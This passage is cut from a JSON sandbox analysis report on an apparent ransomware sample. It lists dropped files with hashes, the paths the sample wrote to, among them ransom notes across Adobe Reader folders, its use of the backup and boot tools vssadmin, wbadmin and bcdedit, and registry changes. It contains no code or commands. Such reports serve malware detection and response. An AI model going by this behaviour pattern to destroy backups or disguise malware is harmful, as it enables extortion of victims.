07ca3e149ae2b26e9"}]},{"name":"w5JaoO.doc","sha256":"cf5dcb0679716f3ddc619acec4f2bd7dec82f4aa7d6c0724c139f06960b36796","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"6WMjwc1zqk3IB.exe","sha256":"95adbf2e678c1b37b62fd39fcfb4225b18d12097589e118ddfcaef026b01ecb7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"tDUzYwYK5f.exe","sha256":"ba781c23d5821c74e931456ed601c91052be0c864745d1fa7e6a0b8f5f4b1dcf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"kdo6iAicsoicvHg.exe","sha256":"6777c478cab7325d74d05a47f1720a4629adc389347f399d01c73e72a248b9fa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"dskCEJ.exe","sha256":"64f26cef8da1743a33c997520a025f012af367fdca13f76e082da6165c316fdf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"kY01UeAiy5.exe","sha256":"e29d17e818bb8d7ffa8f0370a8e57b9db7d1aeaf0d70f6ce430de169a8e7b0ff","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Downloads.lnk","sha256":"f7ce2ddf7e0f0c1d3b19b21df2540621fc29a4b884962a004c53b55557e74b38","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"hlchPBL.exe","sha256":"a8bda2a6e8d98244557b69a5fc5c50a74f01b50d5d8c6c070a365e99a2963eca","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"bg3oTe.doc","sha256":"b85e98c25b73470b624f630a78de61cf0b118e124a7f53c3d11672ed43c81d8f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"0zIG0D.doc","sha256":"7c16f5d29e7ce4078e7cff492ce23c85033ad799f12d8ddf0b73c06afcabb265","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Windows Media Player.lnk","sha256":"6c99123572dabb2899675b91e53f505601ceaddabea1f32df3d90b20386088f5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"a3Ntx.exe","sha256":"c5be8d5814a1db67ef7c6f3094a78a29d787f42ae3809e906d5bf5b5eb91673e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"iLLOga.exe","sha256":"847252cca77796f43a7516a3cee6dfbc403e6cb46c4bcdffb43c10b05a711028","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Sticky Notes.lnk","sha256":"63436b69df4f8f2c70b6078d4adeb010415ba7128e67074bf7c872e5ec56a5b4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Calculator.lnk","sha256":"0ae3caa3dbba4e76f35e07d3af8b8dbf1f5bb8f8c1b1ab1a678e9ce8c40a7436","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"klmqz.doc","sha256":"a51ad01ec95f79905f470c278385a6c7d9cbcdd4c67282b6af7c3d1e1a7546a8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"mtgFs8Za.doc","sha256":"8d3280980bb2f4b9a9381e6a9e709ae0e571f199854f843ff3ccfcf33eaf2956","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"RecentPlaces.lnk","sha256":"172de6c61dddfdc14f8ebf0a76511fc86fbc78b176bad1e701484b06f7168b82","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"bvYkKJ33N9A.exe","sha256":"dc9f54f81a1aed4639fec1ddee2ab8b3ad120d92a9a1598236e66855b9f014c8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"F3hzum1.doc","sha256":"124ee0be00d38aeeb0303913e6776273248551d09c6d53fcf2c18fffa446946d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Tmg2wsFHYf9ioO.doc","sha256":"5496512abcd1d14cc198390b8112ba009ca987543e4901efcf7c5899221d6968","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"hKY8.doc","sha256":"510d2b6d882d8e4faae2f411bb0a87551e9b017c0add5506bd841719cfcb71ee","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"5F1yaAIKfUGQcmmt.doc","sha256":"aab95c4113ffff34e59250e7953b1f36956758077f8361137ff336965a3c765a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"0gakl8ixtWMkw.doc","sha256":"e93be14383873f08da243b695a03e70b28ccc32152903a12afdead9a3b6aafd6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"EKeaJO.doc","sha256":"dd6a9c8e1632616f0cf10bfcfa5d9b9133491390bd38b35203286a2ac1a052dc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"0pYWspjURe8aqA.exe","sha256":"e9af6f5cec6843536a27180bb967c089b94227881e35b6eb580e89bccd2cf0aa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"dgQJde60mPXhI.exe","sha256":"fa5f6ae82b7b0fc67c8fb374a4c1c962f152de661fb3a0df8695eee304bdfdf6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"JSByteCodeWin.bin","sha256":"309ce13a7a7aecf5dfe2f4732cc68ddf1ab10f437a2c5198a87b8d3ef92b8ca8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Paint.lnk","sha256":"708bd213582a3a81981f525ca6709513af7e6008a0bba1848b7aae89bd6e900c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"63sDzrkUoHoRT.exe","sha256":"81f3198c850dc124582107ece3b81b281764549f81924641c273c6a39f815014","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]}],"files_written":[{"path":"C:\\LocalSecurityAuthorityProcess.bak.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%APPDATA%\\Local Security Authority Process.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\System32\\en-US\\user32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\System32\\en-US\\jscript.dll.mui","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\System32\\mshta.exe","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\system32\\en\\mshta.exe.mui","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\System32\\en-US\\mshta.exe.mui","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\System32\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\System32\\oleaccrc.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\System32\\en-US\\ieframe.dll.mui","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\System32\\wshom.ocx","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\System32\\scrrun.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"C:\\Windows","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\System32","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\System32\\en-US\\propsys.dll.mui","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\System32\\cmd.exe","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\Fonts\\StaticCache.dat","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\System32\\vssadmin.exe","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\System32\\en-US\\cmd.exe.mui","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\System32\\wbem\\WMIC.exe","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\System32\\wbadmin.exe","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\System32\\bcdedit.exe","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\System32\\en-US\\vssadmin.exe.mui","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\System32\\en-US\\wbadmin.exe.mui","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\System32\\en-US\\setupapi.dll.mui","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\Logs","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\System32\\wbem\\en-US\\WMIC.exe.mui","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\System32\\blbres.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\System32\\en-US\\blbres.dll.mui","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\Logs\\WindowsBackup\\Wbadmin.3.etl","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\Logs\\WindowsBackup\\Wbadmin.2.etl","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\Logs\\WindowsBackup\\Wbadmin.1.etl","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\System32\\msxml3r.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%WINDIR%\\System32\\wbem\\xsl-mappings.xml","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"C:\\autoexec.bat","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"C:\\HOW TO RECOVER ENCRYPTED FILES.TXT","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"C:\\config.sys","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"C:\\pagefile.sys","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Liesmich.htm","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\HOW TO RECOVER ENCRYPTED FILES.TXT","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\ReadMe.htm","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Esl\\AiodLite.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Esl\\HOW TO RECOVER ENCRYPTED FILES.TXT","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\A3DUtils.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\HOW TO RECOVER ENCRYPTED FILES.TXT","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\ACE.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AcroBroker.exe","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Acrofx32.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AcroRd32.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AcroRd32.exe","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AcroRd32Info.exe","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AcroRdIF.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AcroTextExtractor.exe","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Adobe.Reader.Dependencies.manifest","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AdobeCollabSync.exe","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AdobeLinguistic.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\adoberfp.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AdobeXMP.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AGM.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AGMGPUOptIn.ini","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\ahclient.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\arh.exe","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AXE8SharedExpat.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AXSLE.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\BIB.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\BIBUtils.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\ccme_asym.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\ccme_base.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\ccme_base_non_fips.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\ccme_ecc.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\ccme_ecdrbg.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\CoolType.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\cryptocme.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\cryptocme.sig","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Eula.exe","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\ExtendScript.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\icucnv40.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\icudt40.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\JP2KLib.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\logsession.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\LogTransport2.exe","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\NPSWF32.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Onix32.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\PDFPrevHndlr.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\PDFSigQFormalRep.pdf","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\pe.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\pmd.cer","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\reader_sl.exe","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\rt3d.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\RTC.der","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\ScCore.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\sqlite.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\ViewerPS.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\wow_helper.exe","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AcroExt\\AcroExt.exe","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AcroExt\\HOW TO RECOVER ENCRYPTED FILES.TXT","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AcroExt\\cef.pak","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AcroExt\\icudt.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AcroExt\\libcef.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AcroExt\\locales\\en-US.pak","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AcroExt\\locales\\HOW TO RECOVER ENCRYPTED FILES.TXT","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AIR\\nppdf32.DEU","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AIR\\HOW TO RECOVER ENCRYPTED FILES.TXT","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AIR\\nppdf32.dll","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCU\\SOFTWARE\\XQBLC\\","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"key":"HKCU\\SOFTWARE\\JMAHRDUU\\","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"key":"HKLM\\BCD00000000\\OBJECTS\\{72D3F4C1-B53F-11E4-B6D9-9157CA704B30}\\ELEMENTS\\16000009\\","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"key":"HKLM\\BCD00000000\\OBJECTS\\{72D3F4C1-B53F-11E4-B6D9-9157CA704B30}\\ELEMENTS\\250000E0\\","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\XQBLC\\","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET 